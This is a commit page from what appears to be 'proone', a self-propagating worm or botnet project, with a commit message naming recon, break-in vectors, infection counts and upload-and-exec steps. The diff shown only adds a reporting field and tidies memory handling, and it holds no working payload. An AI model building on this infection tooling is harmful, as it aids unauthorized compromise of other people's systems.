aboutsummaryrefslogtreecommitdiff
path: root/src/proone-bne.c
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-09-27 22:51:11 +0930
committerDavid Timber <mieabby@gmail.com>2020-09-27 22:51:11 +0930
commit86038b950f0aaddca7108e903568159414a8d64a (patch)
tree122ff054b79ac91dc615f2248674fa4944ccdb17 /src/proone-bne.c
parent9f948554902e67cd796dd0635a3c632ccd40c206 (diff)
* Disable armv7, aarch64, x86_64 target
* Apply recon and bne to proone * Add callback contexts on htbt and bne * Fix mem leak in bne_sh_cleanup_upload() * Use prne_static_assert() instead of _Static_assert() * Use prne_free_worker() rather than calling free_ctx() * Add prne_eq_ipaddr() * bne * Add prne_bne_result::ny_instance to impl infect_cnt * Don't delete tmp upload dir after successful bne_sh_run_exec() so that proone can make tmp files * Silently ignore PRNE_BNE_V_HTBT if htbt_ssl_conf is not set * Add prne_bne_get_subject() * htbt * Fix crash bug when running without resolv * proone: set pth priority
Diffstat (limited to 'src/proone-bne.c')
-rw-r--r--src/proone-bne.c10
1 files changed, 6 insertions, 4 deletions
diff --git a/src/proone-bne.c b/src/proone-bne.c
index db4fa66..64dcb11 100644
--- a/src/proone-bne.c
+++ b/src/proone-bne.c
@@ -122,10 +122,12 @@ static void report_result (const prne_bne_result_t *r) {
"- result:\n"
"\tsubject: %s\n"
"\terr: %d\n"
- "\tvector: %s\n",
+ "\tvector: %s\n"
+ "\tny_instance: %s\n",
ip_str,
r->err,
- vec_str);
+ vec_str,
+ r->ny_instance ? "true" : "false");
if (r->vec >= 0) {
const char *arch_str = prne_arch_tostr(r->arch);
@@ -144,7 +146,7 @@ static void report_result (const prne_bne_result_t *r) {
}
}
-static char *cb_exec_name (void) {
+static char *cb_exec_name (void *ctx) {
static const char *EXEC_NAME = "proone";
const size_t len = strlen(EXEC_NAME);
char *ret = prne_alloc_str(len);
@@ -355,7 +357,7 @@ int main (const int argc, const char **args) {
w->pth = NULL;
report_result((const prne_bne_result_t*)result);
- w->free_ctx(w->ctx);
+ prne_free_worker(w);
prne_free(w);
e = prne_llist_erase(&wkr_list, e);
}